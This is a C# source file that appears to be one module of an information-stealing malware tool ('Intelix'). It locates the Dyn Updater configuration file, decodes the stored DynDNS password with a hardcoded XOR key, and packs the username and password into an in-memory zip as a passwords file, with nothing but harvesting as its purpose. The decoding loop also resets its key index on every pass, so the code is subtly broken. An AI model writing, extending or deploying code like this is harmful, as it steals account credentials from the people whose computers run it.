using System;
using System.Globalization;
using System.IO;
using Intelix.Helper.Data;

namespace Intelix.Targets.Applications;

public class DynDns : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		string text = "C:\\ProgramData\\Dyn\\Updater\\config.dyndns";
		if (File.Exists(text))
		{
			string[] array = File.ReadAllLines(text);
			if (array.Length != 0)
			{
				string text2 = "Dyn\\Passwords.txt";
				Counter.CounterApplications counterApplications = new Counter.CounterApplications();
				counterApplications.Name = "Dyn";
				counterApplications.Files.Add(text + " => " + text2);
				counter.Applications.Add(counterApplications);
				zip.AddTextFile(text2, "UserName: " + array[1].Substring(9) + "\r\nPassword: " + DecryptDynDns(array[2].Substring(9)));
			}
		}
	}

	private string DecryptDynDns(string encrypted)
	{
		string text = string.Empty;
		for (int i = 0; i < encrypted.Length; i += 2)
		{
			text += (char)int.Parse(encrypted.Substring(i, 2), NumberStyles.HexNumber);
		}
		char[] array = text.ToCharArray();
		char[] array2 = new char[text.Length];
		for (int j = 0; j < array2.Length; j++)
		{
			try
			{
				int num = 0;
				array2[j] = (char)(array[j] ^ Convert.ToChar("t6KzXhCh".Substring(num, 1)));
				num = (num + 1) % 8;
			}
			catch (Exception)
			{
			}
		}
		return new string(array2);
	}
}